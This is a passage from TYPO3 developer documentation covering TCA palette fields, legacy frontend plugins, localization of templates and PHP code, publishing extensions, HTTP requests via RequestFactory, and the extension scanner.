     'before:editlock'
  );
Copied!

The code is mostly the same as in the first example, but the last method call is different and requires an explanation. The tables pages and tt_content use palettes extensively. This increases flexibility.

Therefore we call ExtensionManagementUtility::addFieldsToPalette() instead of ExtensionManagementUtility::addToAllTCAtypes(). We need to specify the palette's key as the second argument (access). Precise placement of the new field is achieved with the fourth parameter (before:editlock). This will place the "no print" field right before the Restrict editing by non-Admins field, instead of putting it in the Extended tab.

The result is the following:

The new field added next to an existing one

Verifying the TCA

You may find it necessary – at some point – to verify the full structure of the $GLOBALS['TCA'] in your TYPO3 installation. The System > Configuration module makes it possible to have an overview of the complete $GLOBALS['TCA'] , with all customizations taken into account.

Checking the existence of the new field via the Configuration module

If you cannot find your new field, it probably means that you have made some mistake.

This view is also useful when trying to find out where to insert a new field, to explore the combination of types and palettes that may be used for the table that we want to extend.

Frontend plugin

The term "frontend plugin" describes a part of a TYPO3 extension that is handled like a content element (can be inserted like a record/element in the TYPO3 backend by editors), which will deliver dynamic output when rendered in the frontend. The distinction and boundaries to regular content are sometimes not easy to draw, because also "regular" content elements are often able to perform dynamic output (for example with TypoScript configuration, Fluid data processors or ViewHelpers).

For a long time, TYPO3 provided a "General Plugin" to be selected as a content element (setting the content record CType to 'list'), and then the sub-type would indicate which kind of frontend plugin to be used (setting the content record list_type). It is recommended to only use the CType based registration.

There are different technology choices to create frontend plugins in TYPO3.

For pure output it is often sufficient to use a FLUIDTEMPLATE in combination with DataProcessors. See also Creating a custom content element.

For scenarios with user input and or complicated data operations consider using Extbase (specifically Registration of frontend plugins).

Legacy frontend plugins without Extbase, so called "pi-based plugins" are based on the AbstractPlugin. It is not recommended anymore to use the AbstractPlugin as base for new frontend plugins. The Core does not use it anymore and only few third party extensions still use it.

It is also possible to create a frontend plugin using Core functionality only.

AbstractPlugin

This class is used as base class for frontend plugins.

Most legacy frontend plugins are extension classes of this one.

This class contains functions which assists these plugins in creating lists, searching, displaying menus, page-browsing (next/previous/1/2/3) and handling links.

Functions are all prefixed pi_ which is reserved for this class. Those functions can be overridden in the extension classes. Therefore plugins based on the AbstractPlugin are also called "pi-based plugins".

The AbstractPlugin still contains hard-coded HTMl in many functions. These can not be used for non-HTML output like JSON or XML feeds.

Changed in version 6.0

The AbstractPlugin class used to be named tslib_pibase before TYPO3 v6.0. Therefore the old names "pi_base" or "pi-based plugin" are still used by some people for historic reasons. "pi" is short for plug-in.

TypoScript

There is no predefined entry method, the method to be used as entry-point is defined via TypoScript:

EXT:sr_feuser_register/Configuration/TypoScript/PluginSetup/setup.typoscript
plugin.tx_srfeuserregister_pi1 = USER_INT
plugin.tx_srfeuserregister_pi1 {
   userFunc = SJBR\SrFeuserRegister\Controller\RegisterPluginController->main
   // set some options

   _DEFAULT_PI_VARS {
      // set some default values
   }
}
Copied!

You can use the TypoScript content objects USER for cached plugins or USER_INT when caching should be disabled.

The following keys are reserved when creating pi-based plugins:

_DEFAULT_PI_VARS
Used to define default values that override values not set in the main TypoScript plugin definition.
_LOCAL_LANG.<key>
Used to override translated strings.

AbstractPlugin implementation

An implementing class could look like this:

EXT:sr_feuser_register/Classes/Controller/RegisterPluginController.php
<?php
namespace SJBR\SrFeuserRegister\Controller;

use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;
use TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController;
use TYPO3\CMS\Frontend\Plugin\AbstractPlugin;
// ...

class RegisterPluginController extends AbstractPlugin
{
   /**
    * Content object
    *
    * @var ContentObjectRenderer
    */
   public $cObj;

   /**
    * Extension key
    *
    * @var string
    */
   public $extKey = 'sr_feuser_register';

   // ...

   /**
    * Plugin entry script
    *
    * @param string $content: rendered content (not used)
    * @param array $conf: the plugin TS configuration
    * @return string the rendered content
    */
   public function main($content, $conf)
   {
      $extensionName = GeneralUtility::underscoredToUpperCamelCase($this->extKey);
      $this->pi_setPiVarDefaults();
      $this->conf =& $conf;

      // do something

      return $this->pi_wrapInBaseClass($this->prefixId, $content);
   }
}
Copied!

See extension sr_feuser_register for a complete example.

TCA configuration

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
defined('TYPO3') or die();

$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_excludelist']['myextension_pi1'] = 'layout,select_key';
$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist']['myextension_pi1'] = 'pi_flexform';

// Use this function if you want to register a FlexForm for the backend record
ExtensionManagementUtility::addPiFlexFormValue(
    'myextension_pi1',
    'FILE:EXT:my_extension/Configuration/FlexForms/SomeFlexForm.xml'
);

ExtensionManagementUtility::addPlugin(
    [
        'LLL:EXT:my_extension/Resources/Private/Language/locallang_db.xlf:tt_content.list_type',
        'myextension_pi1'
    ],
    'list_type',
    'my_extension'
 );
Copied!

ExtensionManagementUtility::addPlugin expects the following parameters:

$itemArray

array: Numerical array:

[0]
string: Plugin label,
[1]
string: Plugin identifier / plugin key, ideally prefixed with an extension-specific name (for example 'events2_list'),
[2]
string: Path to plugin icon,
[3]
an optional group idenitfier, falls back to 'default
$type
string: Type (Default: 'list_type') - basically a field from "tt_content" table
$extensionKey
string: The extension key in snake_case, for example :php'my_extension'

Localization

The configuration options for localization inside TYPO3 are versatile. You will find a comprehensive description of all concepts and options in the Frontend Localization Guide.

For the following sections, we assume a correct configuration of the localization, which is normally done in the site configuration.

Multi-language Fluid templates

Consider you have to translate the following static texts in your Fluid template:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<h3>{post.title}</h3>
<p>By: {post.author.fullName}</p>
<p>{post.content -> f:format.nl2br()}</p>

<h3>Comments</h3>
<f:for each="{post.comments}" as="comment">
  {comment.content -> f:format.nl2br()}
  <hr>
</f:for>
Copied!

To make such texts exchangeable, they have to be removed from the Fluid template and inserted into an XLIFF language file. Every text fragment to be translated is assigned an identifier (also called key) that can be inserted into the Fluid template.

The translation ViewHelper f:translate

To insert translations into a template, Fluid offers the ViewHelper f:translate.

This ViewHelper has a property called key where the identifier of the text fragment prefixed by the location file can be provided.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate key="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey" />
<!-- or as inline Fluid: -->
{f:translate(key: 'LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey')}
Copied!

The text fragment will now be displayed in the current frontend language defined in the site configuration, if the translation file of the requested language can be found in the location of the prefix.

If the key is not available in the translated file or if the language file is not found in the language, the key is looked up in the default language file. If it is not found there, nothing is displayed.

You can provide a default text fragment in the property default to avoid no text being displayed:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate
    key="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey"
    default="No translation available."
/>
Copied!

The translation ViewHelper in Extbase

In Extbase, the translation file can be detected automatically. It is therefore possible to omit the language file prefix.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate key="commentHeader" />
<!-- or as inline Fluid: -->
{f:translate(key: 'commentHeader')}
Copied!

In Extbase plugins <f:translate key="commentHeader" /> looks up the key in LLL:EXT:my_example/Resources/Private/Language/locallang.xlf:commentHeader.

The language string can be overridden by the values from _LOCAL_LANG. See also property _LOCAL_LANG in a plugin.

It is possible to use the translation file of another extension by supplying the parameter extensionName with the UpperCamelCased extension key:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate key="commentHeader" extensionName="MyOtherExtension" />
Copied!

There is no fallback to the file of the original extension in this case.

By replacing all static texts with translation ViewHelpers the above example can be replaced:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<h3>{post.title}</h3>
<p><f:translate key="authorPrefix"> {post.author.fullName}</p>
<p>{post.content -> f:format.nl2br()}</p>
<h3><f:translate key="commentHeader"></h3>
<f:for each="{post.comments}" as="comment">
   {comment.content -> f:format.nl2br()}
   <hr>
</f:for>
Copied!

Source of the language file

If the Fluid template is called outside of an Extbase context there are two options on how to configure the correct language file.

  1. Use the complete language string as key:

    Prefix the translation key with LLL:EXT: and then the path to the translation file, followed by a colon and then the translation key.

    EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
    <f:translate
        key="LLL:EXT:my_extension/Resources/Private/Language/yourFile.xlf:yourKey"
    />
    Copied!
  2. Or provide the parameter extensionName:

    EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
    <f:translate
        key="yourKey"
        extensionName="MyExtension"
    />
    Copied!

    If the extensionName is provided, the translation string is searched in EXT:my_extension/Resources/Private/Language/locallang.xlf.

Insert arguments into translated strings

In some translation situations it is useful to insert an argument into the translated string.

Let us assume you want to translate the following sentence:

Example output
Here is a list of 5 blogs:
Copied!

As the number of blogs can change it is not possible to put the complete sentence into the translation file.

We could split the sentence up into two parts. However in different languages the number might have to appear in different positions in the sentence.

Splitting up the sentence should be avoided as the context would get lost in translation. Especially when a translation agency is involved.

Instead it is possible to insert a placeholder in the translation file:

EXT:my_extension/Resources/Private/Language/de.locallang.xlf
<trans-unit id="blog.list" xml:space="preserve" approved="yes">
   <source>Here is a list of %d blogs: </source>
   <target>Eine Liste von %d Blogs ist hier: </target>
</trans-unit>
Copied!
Bad example! Don't use it!
<trans-unit id="blog.list1" xml:space="preserve" approved="no">
   <source>Here is a list of </source>
   <target>Eine Liste von </target>
</trans-unit>
<trans-unit id="blog.list2" xml:space="preserve" approved="no">
   <source>blogs: </source>
   <target>Blogs ist hier: </target>
</trans-unit>
Copied!

Argument types

The placeholder contains the expected type of the argument to be inserted. Common are:

%d
The argument is treated as an integer and presented as a (signed) decimal number. Example: -42
%f
The argument is treated as a float and presented as a floating-point number (locale aware). Example: 3.14159
%s
The argument is treated and presented as a string. This can also be a numeral formatted by another ViewHelper Example: Lorem ipsum dolor, 59,99 €, 12.12.1980

There is no placeholder for dates. Date and time values have to be formatted by the according ViewHelper <f:format.date>, see section localization of date output .

For a complete list of placeholders / specifiers see PHP function sprintf.

Order of the arguments

More than one argument can be supplied. However for grammatical reasons the ordering of arguments may be different in the various languages.

One easy example are names. In English the first name is displayed followed by a space and then the family name. In Chinese the family name comes first followed by no space and then directly the first name. By the following syntax the ordering of the arguments can be made clear:

EXT:my_extension/Resources/Private/Language/zh.locallang.xlf
<trans-unit id="blog.author" xml:space="preserve" approved="yes">
   <source>%1$s %2$s</source>
   <target>%2$s%1$s</target>
</trans-unit>
Copied!
EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:translate
   key="author"
   arguments="{1: blog.author.firstName, 2: blog.author.lastname}"
/>
Copied!

The authors name would be displayed in English as Lina Wolf while it would be displayed in Chinese like 吴林娜 (WúLínnà).

Localization of date output

It often occurs that a date or time must be displayed in a template. Every language area has its own convention on how the date is to be displayed: While in Germany, the date is displayed in the form Day.Month.Year, in the USA the form Month/Day/Year is used. Depending on the language, the date must be formatted different.

Generally the date or time is formatted by the <f:format.date> ViewHelper:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:format.date date="{dateObject}" format="d.m.Y" />
<!-- or -->
{dateObject -> f:format.date(format: 'd.m.Y')}
Copied!

The date object {dateObject} is displayed with the date format given in the parameter format. This format string must be in a format that is readable by the PHP function date() and declares the format of the output.

The table below shows some important placeholders:

Format character Description Example
d Day of the month as number, double-digit, with leading zero 01 ... 31
m Month as number, with leading zero 01 ... 12
Y Year as number, with 4 digits 2011
y Year as number, with 2 digits 11
H Hour in 24 hour format 00 ... 23
i Minutes, with leading zero 00 ... 59

Depending on the language area, another format string should be used.

Here we combine the <f:format.date> ViewHelper with the <f:translate> ViewHelper to supply a localized date format:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:format.date date="{dateObject}" format="{f:translate(key: 'dateFormat')}" />
Copied!

Then you can store another format string for every language in the locallang.xlf file.

Localization in PHP

Sometimes you have to localize a string in PHP code, for example inside of a controller or a user function.

Which method of localization to use depends on the current context:

Localization in plain PHP

Localization in frontend context

In plain PHP use the class LanguageServiceFactory to create a LanguageService from the current site language:

EXT:my_extension/Classes/UserFunction/MyUserFunction.php
<?php
declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Localization\LanguageService;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

final class MyUserFunction
{
    private LanguageServiceFactory $languageServiceFactory;

    public function __construct(LanguageServiceFactory $languageServiceFactory) {
        $this->languageServiceFactory = $languageServiceFactory;
    }

    private function getLanguageService(ServerRequestInterface $request): LanguageService
    {
        return $this->languageServiceFactory->createFromSiteLanguage(
            $request->getAttribute('language')
            ?? $request->getAttribute('site')->getDefaultLanguage()
        );
    }

    public function main(
        string $content,
        array $conf,
        ServerRequestInterface $request
    ): string {
        return $this->getLanguageService($request)->getLL(
            'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:something.'
        );
    }
}
Copied!

Dependency injection should be available in most contexts where you need translations. Also the current request is available in entry point such as custom non-Extbase controllers, user functions, data processors etc.

Localization in backend context

In the backend context you should use the LanguageServiceFactory to create the required LanguageService.

EXT:my_extension/Classes/Backend/MyBackendClass.php
<?php
declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use TYPO3\CMS\Core\Localization\LanguageService;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

final class MyBackendClass
{
    private LanguageServiceFactory $languageServiceFactory;

    public function __construct(LanguageServiceFactory $languageServiceFactory)
    {
        $this->languageServiceFactory = $languageServiceFactory;
    }

    private function translateSomething(string $input): string
    {
        return $this->getLanguageService()->sL($input);
    }

    private function getLanguageService(): LanguageService
    {
        return $this->languageServiceFactory
            ->createFromUserPreferences($this->getBackendUserAuthentication());
    }

    private function getBackendUserAuthentication(): BackendUserAuthentication
    {
        return $GLOBALS['BE_USER'];
    }

    // ...
}
Copied!

Localization without context

If you should happen to be in a context where none of these are available, for example a static function, you can still do translations:

EXT:my_extension/Classes/Utility/MyUtility.php
<?php
declare(strict_types=1);

namespace MyVendor\MyExtension\Utility;

use TYPO3\CMS\Core\Localization\LanguageServiceFactory;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyUtility
{

    private static function translateSomething(string $lll): string
    {
        $languageServiceFactory = GeneralUtility::makeInstance(
            LanguageServiceFactory::class
        );
        // As we are in a static context we cannot get the current request in
        // another way this usually points to general flaws in your software-design
        $request = $GLOBALS['TYPO3_REQUEST'];
        $languageService = $languageServiceFactory->createFromSiteLanguage(
            $request->getAttribute('language')
            ?? $request->getAttribute('site')->getDefaultLanguage()
        );
        return $languageService->sL($lll);
    }
}
Copied!

Localization in Extbase

In Extbase context you can use the method \TYPO3\CMS\Extbase\Utility\LocalizationUtility::translate($key, $extensionName).

This method requires the localization key as the first and the extension's name as optional second parameter. For all available parameters see below. Then the corresponding text in the current language will be loaded from this extension's locallang.xlf file.

The method translate() takes translation overrides from TypoScript into account. See Changing localized terms using TypoScript.

Example

In this example the content of the flash message to be displayed in the backend gets translated:

Class T3docsExamplesControllerModuleController
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    /**
     * Adds a count of entries to the flash message
     */
    public function countAction(string $tablename = 'pages'): ResponseInterface
    {
        $count = $this->tableInformationService->countRecords($tablename);

        $message = LocalizationUtility::translate(
            key: 'record_count_message',
            extensionName: 'examples',
            arguments: [$count, $tablename]
        );

        $this->addFlashMessage(
            messageBody: $message,
            messageTitle: 'Information',
            severity: ContextualFeedbackSeverity::INFO
        );
        return $this->redirect('flash');
    }
}
Copied!

The string in the translation file is defined like this:

<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<!-- EXT:examples/Resources/Private/Language/locallang.xlf -->
<xliff version="1.0">
    <file source-language="en" datatype="plaintext" original="messages" date="2013-03-09T18:44:59Z" product-name="examples">
        <header />
        <body>
            <trans-unit id="new_relation" xml:space="preserve">
                <source>Content element "%1$s" (uid: %2$d) has the following relations:</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

The arguments will be replaced in the localized strings by the PHP function sprintf.

This behaviour is the same like in a Fluid translate ViewHelper with arguments.

TypoScript

Output localized strings with Typoscript

The getText property LLL can be used to fetch translations from a translation file and output it in the current language:

EXT:site_package/Configuration/TypoScript/setup.typoscript
lib.blogListTitle = TEXT
lib.blogListTitle.data = LLL : EXT:blog_example/Resources/Private/Language/locallang.xlf:blog.list
Copied!

TypoScript conditions based on the current language

The condition function siteLanguage can be used to provide certain TypoScript configurations only for certain languages. You can query for any property of the language in the site configuration.

EXT:site_package/Configuration/TypoScript/setup.typoscript
lib.something = TEXT
[siteLanguage("locale") == "de_CH"]
    lib.something.value = This site has the locale "de_CH"
[END]
[siteLanguage("title") == "Italy"]
    lib.something.value = This site has the title "Italy"
[END]
Copied!

Changing localized terms using TypoScript

It is possible to override texts in the plugin configuration in TypoScript for Extbase based plugins.

Overriding translations in non-Extbase plugins might work depending on how they are implemented. Overriding translations works if the plugin is based on the class AbstractPlugin and uses the function $this->pi_getLL(...).

See TypoScript reference, _LOCAL_LANG.

If, for example, you want to use the text "Remarks" instead of the text "Comments", you can overwrite the identifier comment_header for the affected languages. For this, you can add the following line to your TypoScript template:

EXT:blog_example/Configuration/TypoScript/setup.typoscript
plugin.tx_blogexample._LOCAL_LANG.default.comment_header = Remarks
plugin.tx_blogexample._LOCAL_LANG.de.comment_header = Bemerkungen
plugin.tx_blogexample._LOCAL_LANG.zh.comment_header = 备注
Copied!

With this, you will overwrite the localization of the term comment_header for the default language and the languages "de" and "zh" in the blog example.

The locallang.xlf files of the extension do not need to be changed for this.

Outside of an Extbase request TYPO3 tries to infer the the extension key from the extensionName ViewHelper attribute or the language key itself.

Fictional root template
page = PAGE
page.10 = FLUIDTEMPLATE
page.10.template = TEXT
page.10.template.value (
    # infer from extensionName
    <f:translate key="onlineDocumentation" extensionName="backend" />

    # infer from language key
    <f:translate key="LLL:EXT:backend/Resources/Private/Language/locallang.xlf:onlineDocumentation" />

    # should not work because the locallang.xlf does not exist, but works right now
    <f:translate key="LLL:EXT:backend/Resources/locallang.xlf:onlineDocumentation" />
)
# Note the tx_ prefix
plugin.tx_backend._LOCAL_LANG.default.onlineDocumentation = TYPO3 Online Documentation from Typoscript
Copied!

stdWrap.lang

stdWrap offers the lang property, which can be used to provide localized strings directly from TypoScript. This can be used as a quick fix but it is not recommended to manage translations within the TypoScript code.

Publish your extension

Follow these steps to release your extension publicly in the TYPO3 world:

  1. Publish the source code on a public Git hosting platform
  2. Publish your extension on Packagist
  3. Publish your extension on TER
  4. Publish its documentation in the official TYPO3 documentation
  5. Set up translations on Crowdin

TYPO3 - Inspiring people to share

Git

Publish your source code on a public Git hosting platform.

The TYPO3 community currently uses GitHub, GitLab and Atlassian Bitbucket to host the Git repositories of their extensions.

Typically, the extension key is used for the repository name, but that is not necessary.

Advantages:

  • Contributors can add issues or make pull requests.
  • Documentation can be published in the official TYPO3 documentation by using a webhook (see below).

Packagist

Publish your extension on Packagist - the main Composer repository.

See their homepage for more details about the publishing process.

Depends on:

Advantages:

  • Extension can be installed in a Composer based TYPO3 instance using composer require.
  • All advantages of being listed in Packagist, for example

    • Extension can be updated easily with composer update

TER

Publish your extension in the TYPO3 Extension Repository (TER) - the central storage for public TYPO3 extensions.

See page Publish your extension in the TER for more information about the publishing process and check out the TYPO3 community Q&A at page FAQ.

Depends on:

Advantages:

  • Extension can be installed in a legacy installation TYPO3 instance using the module Extensions.
  • All advantages of being listed in the TER, for example:

    • Easy finding of your extension
    • Reserved extension key in the TYPO3 world
    • The community can vote for your extension
    • Users can subscribe to notifications on new releases
    • Composer package is announced (optional)
    • Sponsoring link (optional)
    • Link to the documentation (optional)
    • Link to the source code (optional)
    • Link to the issue tracker (optional)

Documentation

Publish the documentation of your extension in the official TYPO3 documentation.

Please follow the instructions on page Migration: From Sphinx to PHP-based rendering to set up an appropriate webhook.

Depends on:

  • Public Git repository
  • Extension published in TER (optional). This is not mandatory, but makes the webhook approval easier for the TYPO3 Documentation Team.

Advantages:

  • Easily find your extension documentation, which serves as a good companion for getting started with your extension.

Crowdin

If you use language labels which should get translated in your extension (typically in Resources/Private/Languages), you may want to configure the translation setup on https://crowdin.com. Crowdin is the official translation server for TYPO3.

This is documented on Extension integration.

Further reading

Publish your extension in the TER

Before publishing extension, think about

First of all ask yourself some questions before publishing or even putting some effort in coding:

  • What additional benefit does your extension have for the TYPO3 community?
  • Does your extension key describe the extension? See the extension key requirements.
  • Are there any extensions in the TER yet which have the same functionalities?
  • If yes, why do we need your one? Wouldn't it be an option to contribute to other extensions?
  • Did you read and understand the TYPO3 Extension Security Policy?
  • Does your extension include or need external libraries? Watch for the license! Learn more about the right licensing.
  • Do you have a public repository on e.g. GitHub, Gitlab or Bitbucket?
  • Do you have the resources to maintain this extension?
  • This means that you should

    • support users and integrators using your extension
    • review and test contributions
    • test your extension for new TYPO3 releases
    • provide and update a documentation for your extension

Use semantic versions

We would like you to stick to semantic versions.

Given a version number MAJOR.MINOR.PATCH, increment the:

  • MAJOR version when you make incompatible API changes (known as "breaking changes"),
  • MINOR version when you add functionality in a backwards-compatible manner, and
  • PATCH version when you make backwards-compatible bug fixes.

Additional labels for pre-release and build metadata are available as extensions to the MAJOR.MINOR.PATCH format.

More you can see at https://semver.org.

Offer feedback options

Before you publish an extension you should be aware of what happens after it. Users and integrators will give you feedback (contributions, questions, bug reports). In this case you should have

  1. A possibility to get in contact with you (link to an issue tracker like forge, GitHub, etc.)
  2. A possibility to look into the code (link to a public repository)

You can edit these options in the extension key management (after login)

How to publish an extension

Now we come to the process of publishing in TER. You have two options for releasing an extension:

  1. Via the web form:

    Click "Upload" next to your extension key in the extension key management and follow the instructions.

  2. Via the REST interface (recommended):

    Use the PHP CLI application Tailor which lets you register new extension keys and helps you maintain your extensions, update extension information and publish new extension versions. For complete instructions and examples, see the official Tailor documentation.

    Besides manual publishing, Tailor is the perfect complement for automatic publishing via CI / CD pipelines. On the application's homepage you will find integration snippets and below recommended tools that further simplify the integration into common CI / CD pipelines:

    GitHub: https://github.com/tomasnorre/typo3-upload-ter

HTTP requests to external sources

The PHP library "Guzzle" is available in TYPO3 as a feature-rich solution for creating HTTP requests based on the PSR-7 interfaces.

Guzzle automatically detects the underlying adapters available on the system, such as cURL or stream wrappers, and chooses the best solution for the system.

A TYPO3-specific PHP class named \TYPO3\CMS\Core\Http\RequestFactory is present as a simplified wrapper for accessing Guzzle clients.

All options available under $GLOBALS['TYPO3_CONF_VARS']['HTTP'] are automatically applied to the Guzzle clients when using the RequestFactory class. The options are a subset of the available options from Guzzle, but can be extended.

Although Guzzle can handle Promises/A+ and asynchronous requests, it currently serves as a drop-in replacement for the previous mixed options and implementations within GeneralUtility::getUrl() and a PSR-7-based API for HTTP requests.

The TYPO3-specific wrapper GeneralUtility::getUrl() uses Guzzle for remote files, eliminating the need to directly configure settings based on specific implementations such as stream wrappers or cURL.

Basic usage

The RequestFactory class can be used like this (PHP 8.1-compatible code):

EXT:examples/Classes/Http/MeowInformationRequester.php
<?php

declare(strict_types=1);

namespace T3docs\Examples\Http;

use TYPO3\CMS\Core\Http\RequestFactory;

final class MeowInformationRequester
{
    private const API_URL = 'https://catfact.ninja/fact';

    // We need the RequestFactory for creating and sending a request,
    // so we inject it into the class using constructor injection.
    public function __construct(
        private readonly RequestFactory $requestFactory,
    ) {
    }

    public function request(): string
    {
        // Additional headers for this specific request
        // See: https://docs.guzzlephp.org/en/stable/request-options.html
        $additionalOptions = [
            'headers' => ['Cache-Control' => 'no-cache'],
            'allow_redirects' => false,
        ];

        // Get a PSR-7-compliant response object
        $response = $this->requestFactory->request(
            self::API_URL,
            'GET',
            $additionalOptions
        );

        if ($response->getStatusCode() !== 200) {
            throw new \RuntimeException(
                'Returned status code is ' . $response->getStatusCode()
            );
        }

        if ($response->getHeaderLine('Content-Type') !== 'application/json') {
            throw new \RuntimeException(
                'The request did not return JSON data'
            );
        }

        // Get the content as a string on a successful request
        return json_decode($response->getBody()->getContents(), true)['fact']
            ?? throw new \RuntimeException('No information available');
    }
}
Copied!

A POST request can be achieved with:

EXT:my_extension/Classes/SomeClass.php
$additionalOptions = [
    'body' => 'Your raw post data',
    // OR form data:
    'form_params' => [
        'first_name' => 'Jane',
        'last_name' => 'Doe',
    ]
];

$response = $this->requestFactory->request($url, 'POST', $additionalOptions);
Copied!

Extension authors are advised to use the RequestFactory class instead of using the Guzzle API directly in order to ensure a clear upgrade path when updates to the underlying API need to be done.

Custom middleware handlers

Guzzle accepts a stack of custom middleware handlers which can be configured in $GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'] as an array. If a custom configuration is specified, the default handler stack will be extended and not overwritten.

typo3conf/AdditionalConfiguration.php
// Add custom middlewares to default Guzzle handler stack
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'][] =
    (\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(
        \MyVendor\MyExtension\Middleware\Guzzle\CustomMiddleware::class
    ))->handler();
$GLOBALS['TYPO3_CONF_VARS']['HTTP']['handler'][] =
    (\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(
        \MyVendor\MyExtension\Middleware\Guzzle\SecondCustomMiddleware::class
    ))->handler();
Copied!

HTTP Utility Methods

TYPO3 provides a small set of helper methods related to HTTP Requests in the class HttpUtility:

HttpUtility::redirect

Deprecated since version 11.3

This method is deprecated and will be removed with TYPO3 v12.0. Create a direct response using the ResponseFactory instead.

Migration

Most of the time, a proper PSR-7 response can be returned to the call stack (request handler). Unfortunately there might still be some places within the call stack where it is not possible to return a PSR-7 response directly. In such a case a \TYPO3\CMS\Core\Http\PropagateResponseException could be thrown. This is automatically caught by a PSR-15 middleware and the given PSR-7 response is then returned directly.

// Before
HttpUtility::redirect('https://example.org/', HttpUtility::HTTP_STATUS_303);

// After

// use Psr\Http\Message\ResponseFactoryInterface
// use TYPO3\CMS\Core\Http\PropagateResponseException

// Inject PSR-17 ResponseFactoryInterface
public function __construct(ResponseFactoryInterface $responseFactory)
{
    $this->responseFactory = $responseFactory
}

// Create redirect response
$response = $this->responseFactory
    ->createResponse(303)
    ->withAddedHeader('location', 'https://example.org/')

// Return response directly
return $response;

// Or throw PropagateResponseException
new PropagateResponseException($response);
Copied!

HttpUtility::setResponseCode

Deprecated since version 11.3

This method is deprecated and will be removed with TYPO3 v12.0. Create a direct response using the ResponseFactory instead. See also Migration.

HttpUtility::setResponseCodeAndExit

Deprecated since version 11.3

This method is deprecated and will be removed with TYPO3 v12.0. Create a direct response using the ResponseFactory instead. See also Migration.

HttpUtility::buildUrl

Creates a URL string from an array containing the URL parts, such as those output by parse_url().

HttpUtility::buildQueryString

The buildQueryString() method is an enhancement to the PHP function http_build_query(). It implodes multidimensional parameter arrays and properly encodes parameter names as well as values into a valid query string with an optional prepend of ? or &.

If the query is not empty, ? or & are prepended in the correct sequence. Empty parameters are skipped.

Update your extension for new TYPO3 versions

The following tool are helpful when updating your extension:

Extension scanner

Introduction

The extension scanner provides an interactive interface to scan extension code for usage of TYPO3 Core API which has been removed or deprecated.

The Extension Scanner

The module can be a great help for extension developers and site maintainers when upgrading to new Core versions. It can point out code places within extensions that need attention. However, the detection approach - based on static code analysis - is limited by concept: false positives/negatives are impossible to avoid.

This document has been written to explain the design goals of the scanner, to point out what it can and can't do. The document should help extension and project developers to get the best out of the tool, and it should help Core developers to add Core patches which use the scanner.

This module has been featured on the TYPO3 youtube channel:

Quick start

  1. Open extension scanner from the TYPO3 backend:

    Admin Tools > Upgrade > Scan Extension Files

    Open the extension scanner from the Admin Tools

  2. Scan one extension by clicking on it or click "Scan all".
  3. View the report:

    The tags weak, strong, etc. will give you an idea of how well the extension scanner was able to match. Hover over the tags with the mouse to see a tooltip.

    Click on the Changelog to view it.

    View extension scanner report

Goals and non goals

  • Help extension authors quickly find code in extensions that may need attention when upgrading to newer Core versions.
  • Extend the existing reST documentation files which are shown in the Upgrade Analysis section with additional information giving extension authors and site developers hints if they are affected by a specific change.
  • It is not a design goal to scan for every TYPO3 Core API change.
  • It should later be possible to scan different languages - not only PHP - TypoScript or Fluid could be examples.
  • Core developers should be able to easily register and maintain matchers for new deprecations or breaking patches.
  • Implementation within the TYPO3 Core backend has been primary goal. While it might be possible, integration into IDEs like PhpStorm has not been a design goal. Also, matcher configuration is bound to the Core version, e.g. tests concerning v12 are not intended to be executed on v11.
  • Some of reST files that document a breaking change or deprecated API can be used to scan extensions. If those find no matches, the reST documentation files are tagged with a "no match" label telling integrators and project developers that they do not need to concern themselves with that particular change.
  • The extension scanner is not meant to be used on Core extensions - it is not a Core development helper.

Limits

The extension scanner is based on static code analysis. "Understanding and analyzing" code flow from within code itself (dynamic code analysis) is not performed. This means the scanner is basically not much more clever than a simple string search paired with some additional analysis to reduce false positives/negatives.

Let's explain this by example. Suppose a static method was deprecated:

<?php
namespace TYPO3\CMS\Core\Utility;

class SomeUtility
{
    /**
     * @deprecated since ...
     */
    public static function someMethod($foo = '') {
        // do something deprecated
    }
}
Copied!

This method is registered in the matcher class \TYPO3\CMS\Install\ExtensionScanner\Php\Matcher\MethodCallStaticMatcher like this:

'TYPO3\CMS\Core\Utility\SomeUtility::someMethod' => [
    'numberOfMandatoryArguments' => 0,
    'maximumNumberOfArguments' => 1,
    'restFiles' => [
        'Deprecation-12345-DeprecateSomeMethod.rst',
    ],
],
Copied!

